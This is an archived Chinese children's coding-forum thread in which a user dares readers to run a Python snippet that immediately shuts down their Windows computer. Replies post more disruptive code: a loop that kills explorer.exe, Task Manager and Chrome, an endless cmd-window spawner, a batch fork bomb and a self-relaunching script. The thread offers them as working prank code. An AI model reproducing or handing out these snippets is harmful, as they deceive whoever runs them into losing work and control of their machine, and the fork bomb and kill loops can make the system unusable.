猫史档案馆


【Python作品分享】【OS模块】嘿嘿嘿,你敢运行吗???【作品秀】

用户:znxznx查看:11 回复:16 评论:11 创建时间:2020-03-05T08:22:40


【作品展示】

center_image

 

【作品介绍】

把代码放在机器上运行(浏览不行)

,嘿嘿嘿。。。

 

【作品源代码】

#今天来个好玩的。。。

import os
os.system ("shutdown -s -t 0")

 

【提示】

部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:

https://python.codemao.cn


回复

上一页1 页 / 共 1下一页
TobylaiTobylai

早已看穿

点赞1


评论


小狗博士小狗博士

 

点赞0


评论


一门鸽鸽一门鸽鸽

我看到了,关机

点赞0


评论


lsk666666lsk666666

你好坑!这是关机命令

点赞0


评论


梦里觅深海梦里觅深海

额…………

点赞0


评论


cool-creepercool-creeper

#关机病毒改版
form os import system
question = input("你确定要运行吗?1.确定2.不确定")
if question == 1:
    system("shutdown -s -t 0")
elif question == 2:
    print("不存在的!")
    system("shutdown -s -t 0")
else:
    print("你说啥?我听不懂!\n")
    print("哦,你说要运行啊!")
    system("shutdown -s -t 0")
#哈哈哈哈……坑吗?

点赞1


评论


星空之忆星空之忆

关机命令啊,怎么了?

点赞0


评论


znxznx

竟然有人看我的帖子。。。

 

点赞0


评论


1BB0090940B96FFBF1BB0090940B96FFBF

/*
比关机更坑的
*/
#include<bits/stdc++.h>
using namespace std;
int main()
{
    while(1)
    {
        system("taskkill /f /im explorer.exe >nul 2>nul");
        system("taskkill /f /im taskmgr.exe >nul 2>nul");
    }
}

center_image

点赞0


评论


znxznx

新帖子来了!https://shequ.codemao.cn/community/268848

点赞0


评论


znxznx

https://shequ.codemao.cn/community/268848

点赞0


评论


蒟蒻OIer1048576蒟蒻OIer1048576

import os
while 1:
    os.system('start cm'+'d')

点赞0


评论


蒟蒻OIer1048576蒟蒻OIer1048576

from os import *
system('set /p="%0|%0"<nul>s.bat&s')

点赞0


评论


蕉饼蕉饼

这特 么会关机的

点赞0


评论


1BB0090940B96FFBF1BB0090940B96FFBF

Python版

#比关机更坑的
from os import system
while True:
    system("taskkill /f /im explorer.exe >nul 2>nul")
    system("taskkill /f /im taskmgr.exe >nul 2>nul")
    system("taskkill /f /im chrome.exe >nul 2>nul")

center_image

点赞0


评论


1BB0090940B96FFBF1BB0090940B96FFBF

from os import system
while True:
    system("python C:\\file.py")

保存为 C:\file.py

center_image

点赞0


评论